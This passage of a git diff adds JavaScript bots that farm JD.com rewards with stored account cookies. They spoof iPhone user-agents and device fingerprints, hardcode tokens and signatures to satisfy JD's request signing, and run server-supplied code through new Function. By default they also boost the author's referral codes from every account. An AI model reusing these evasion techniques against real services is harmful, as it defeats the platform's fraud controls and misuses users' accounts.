deflate, br", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Connection": "keep-alive", + "Content-Length": "376", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": cookie, + "Host": "api.m.jd.com", + "Origin": "https://joypark.jd.com", + "Referer": "https://joypark.jd.com/", + "User-Agent": $.UA + } + var DateToday = new Date(); + const body = { + 'linkId': 'L-sOanK_5RJCz7I314FpnQ', + 'isFromJoyPark':true, + 'joyLinkId':'LsQNxL7iWDlXUs6cFl-AAg' + }; + const options = { + url: `https://api.m.jd.com/?functionId=runningPageHome&body=${encodeURIComponent(JSON.stringify(body))}&t=${DateToday.getTime()}&appid=activities_platform&client=ios&clientVersion=3.8.12`, + headers, + } + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + //console.log(data); + data = JSON.parse(data); + if (data.data.runningHomeInfo.prizeValue) { + $.JoyRunningAmount=data.data.runningHomeInfo.prizeValue * 1; + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data) + } + }) + }) +} + +function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", + a = t.length, + n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function getGetRequest(type, url) { + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + + const method = `GET`; + let headers = { + 'Origin': `https://st.jingxi.com`, + 'Cookie': cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json`, + 'Referer': `https://st.jingxi.com/pingou/jxmc/index.html`, + 'Host': `m.jingxi.com`, + 'User-Agent': UA, + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn` + }; + return { + url: url, + method: method, + headers: headers, + timeout: 10000 + }; +} + +Date.prototype.Format = function (fmt) { + var e, + n = this, + d = fmt, + l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, + a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +function decrypt(time, stk, type, url) { + $.appId = 10028; + stk = stk || (url ? getJxmcUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.Jxmctoken && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.Jxmctoken, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.Jxmctoken = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.Jxmctoken}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.Jxmctoken).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getJxmcUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.Jxmctoken), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + $.appId = 10028; + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + //'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + llgeterror = true; + } else { + if (data) { + data = JSON.parse(data); + if (data['status'] === 200) { + $.Jxmctoken = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) + $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + } else { + console.log('request_algo 签名参数API请求失败:') + } + } else { + llgeterror = true; + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + llgeterror = true; + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} + +function getJxmcUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} + + +function GetPigPetInfo() { + if (!EnablePigPet) + return; + return new Promise(async resolve => { + const body = { + "shareId": "", + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}", + } + $.post(taskPetPigUrl('pigPetLogin', body), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`GetPigPetInfo API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultData.resultData.wished && data.resultData.resultData.wishAward) { + $.PigPet=`${data.resultData.resultData.wishAward.name}` + } + } else { + console.log(`GetPigPetInfo: 京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + + +function taskPetPigUrl(function_id, body) { + var UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`; + return { + url: `https://ms.jr.jd.com/gw/generic/uc/h5/m/${function_id}?_=${Date.now()}`, + body: `reqData=${encodeURIComponent(JSON.stringify(body))}`, + headers: { + 'Accept': `*/*`, + 'Origin': `https://u.jr.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host': `ms.jr.jd.com`, + 'Connection': `keep-alive`, + 'User-Agent': UA, + 'Referer': `https://u.jr.jd.com/`, + 'Accept-Language': `zh-cn` + }, + timeout: 10000 + } +} + +function GetDateTime(date) { + + var timeString = ""; + + var timeString = date.getFullYear() + "-"; + if ((date.getMonth() + 1) < 10) + timeString += "0" + (date.getMonth() + 1) + "-"; + else + timeString += (date.getMonth() + 1) + "-"; + + if ((date.getDate()) < 10) + timeString += "0" + date.getDate() + " "; + else + timeString += date.getDate() + " "; + + if ((date.getHours()) < 10) + timeString += "0" + date.getHours() + ":"; + else + timeString += date.getHours() + ":"; + + if ((date.getMinutes()) < 10) + timeString += "0" + date.getMinutes() + ":"; + else + timeString += date.getMinutes() + ":"; + + if ((date.getSeconds()) < 10) + timeString += "0" + date.getSeconds(); + else + timeString += date.getSeconds(); + + return timeString; +} + +async function queryScores() { + if ($.isPlusVip != 1) + return + let res = '' + let url = { + url: `https://rsp.jd.com/windControl/queryScore/v1?lt=m&an=plus.mobile&stamp=${Date.now()}`, + headers: { + 'Cookie': cookie, + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; Redmi Note 8 Pro Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045715 Mobile Safari/537.36', + 'Referer': 'https://plus.m.jd.com/rights/windControl' + } + }; + + $.get(url, async (err, resp, data) => { + try { + const result = JSON.parse(data) + if (result.code == 1000) { + $.PlustotalScore=result.rs.userSynthesizeScore.totalScore; + } + } catch (e) { + $.logErr(e, resp); + } + }) + +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) + new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/jd_bean_home.js b/jd_bean_home.js new file mode 100644 index 0000000..febd0b9 --- /dev/null +++ b/jd_bean_home.js @@ -0,0 +1,832 @@ +/* +领京豆额外奖励&抢京豆 +脚本自带助力码,介意者可将 29行 helpAuthor 变量设置为 false +活动入口:京东APP首页-领京豆 +更新地址:https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_bean_home.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#领京豆额外奖励 +23 1,12,22 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_bean_home.js, tag=领京豆额外奖励, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_bean_home.png, enabled=true + +================Loon============== +[Script] +cron "23 1,12,22 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_bean_home.js, tag=领京豆额外奖励 + +===============Surge================= +领京豆额外奖励 = type=cron,cronexp="23 1,12,22 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_bean_home.js + +============小火箭========= +领京豆额外奖励 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_bean_home.js, cronexpr="23 1,12,22 * * *", timeout=3600, enable=true + */ +const $ = new Env('领京豆额外奖励'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const helpAuthor = true; // 是否帮助作者助力,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', uuid = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + $.newShareCodes = [] + $.authorCode = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_updateBeanHome.json') + if (!$.authorCode) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateBeanHome.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + $.authorCode = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateBeanHome.json') || [] + } + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + uuid = randomString() + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdBeanHome(); + } + } + for (let i = 0; i < cookiesArr.length; i++) { + $.index = i + 1; + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.canHelp = true; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if ($.newShareCodes.length > 1) { + console.log(`\n【抢京豆】 ${$.UserName} 去助力排名第一的cookie`); + // let code = $.newShareCodes[(i + 1) % $.newShareCodes.length] + // await help(code[0], code[1]) + let code = $.newShareCodes[0]; + if(code[2] && code[2] === $.UserName){ + //不助力自己 + } else { + await help(code[0], code[1]); + } + } + if (helpAuthor && $.authorCode && $.canHelp) { + console.log(`\n【抢京豆】${$.UserName} 去帮助作者`) + for (let code of $.authorCode) { + const helpRes = await help(code.shareCode, code.groupCode); + if (helpRes && helpRes['code'] === '0') { + if (helpRes && helpRes.data && helpRes.data.respCode === 'SG209') { + console.log(`${helpRes.data.helpToast}\n`); + break; + } + } else { + console.log(`助力异常:${JSON.stringify(helpRes)}\n`); + } + } + } + for (let j = 1; j < $.newShareCodes.length && $.canHelp; j++) { + let code = $.newShareCodes[j]; + if(code[2] && code[2] === $.UserName){ + //不助力自己 + } else { + console.log(`【抢京豆】${$.UserName} 去助力账号 ${j + 1}`); + await help(code[0], code[1]); + await $.wait(2000); + } + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdBeanHome() { + try { + $.doneState = false + // for (let i = 0; i < 3; ++i) { + // await doTask2() + // await $.wait(1000) + // if ($.doneState) break + // } + do { + await doTask2() + await $.wait(3000) + } while (!$.doneState) + await $.wait(1000) + await award("feeds") + await $.wait(1000) + await getUserInfo() + await $.wait(1000) + await getTaskList(); + await receiveJd2(); + + await morningGetBean() + await $.wait(1000) + + await beanTaskList(1) + await $.wait(1000) + await queryCouponInfo() + $.doneState = false + let num = 0 + do { + await $.wait(2000) + await beanTaskList(2) + num++ + } while (!$.doneState && num < 5) + await $.wait(2000) + if ($.doneState) await beanTaskList(3) + + await showMsg(); + } catch (e) { + $.logErr(e) + } +} + +// 早起福利 +function morningGetBean() { + return new Promise(resolve => { + $.post(taskBeanUrl('morningGetBean', {"fp":"-1","shshshfp":"-1","shshshfpa":"-1","referUrl":"-1","userAgent":"-1","jda":"-1","rnVersion":"3.9"}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} morningGetBean API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.awardResultFlag === "1") { + console.log(`早起福利领取成功:${data.data.bizMsg}`) + } else if (data.data.awardResultFlag === "2") { + console.log(`早起福利领取失败:${data.data.bizMsg}`) + } else { + console.log(`早起福利领取失败:${data.data.bizMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 升级领京豆任务 +async function beanTaskList(type) { + return new Promise(resolve => { + $.post(taskBeanUrl('beanTaskList', {"viewChannel":"myjd"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} beanTaskList API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + switch (type) { + case 1: + console.log(`当前等级:${data.data.curLevel} 下一级可领取:${data.data.nextLevelBeanNum || 0}京豆`) + if (data.data.viewAppHome) { + if (!data.data.viewAppHome.takenTask) { + console.log(`去做[${data.data.viewAppHome.mainTitle}]`) + await beanHomeIconDoTask({"flag":"0","viewChannel":"myjd"}) + } + await $.wait(2000) + if (!data.data.viewAppHome.doneTask) { + console.log(`去领奖[${data.data.viewAppHome.mainTitle}]`) + await beanHomeIconDoTask({"flag":"1","viewChannel":"AppHome"}) + } else { + console.log(`[${data.data.viewAppHome.mainTitle}]已做完`) + } + } + break + case 2: + $.doneState = true + let taskInfos = data.data.taskInfos + for (let key of Object.keys(taskInfos)) { + let vo = taskInfos[key] + if (vo.times < vo.maxTimes) { + for (let key of Object.keys(vo.subTaskVOS)) { + let taskList = vo.subTaskVOS[key] + if (taskList.status === 1) { + $.doneState = false + console.log(`去做[${vo.taskName}]${taskList.title || ''}`) + await $.wait(2000) + await beanDoTask({"actionType": 1, "taskToken": `${taskList.taskToken}`}, vo.taskType) + if (vo.taskType === 9 || vo.taskType === 8) { + await $.wait(vo.waitDuration * 1000 || 5000) + await beanDoTask({"actionType": 0, "taskToken": `${taskList.taskToken}`}, vo.taskType) + } + } + } + } + } + break + case 3: + let taskInfos3 = data.data.taskInfos + for (let key of Object.keys(taskInfos3)) { + let vo = taskInfos3[key] + if (vo.times === vo.maxTimes) { + console.log(`[${vo.taskName}]已做完`) + } + } + default: + break + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function beanDoTask(body, taskType) { + return new Promise(resolve => { + $.post(taskBeanUrl('beanDoTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} beanDoTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (body.actionType === 1 && (taskType !== 9 && taskType !== 8)) { + if (data.code === "0" && data.data.bizCode === "0") { + console.log(`完成任务,获得+${data.data.score}成长值`) + } else { + 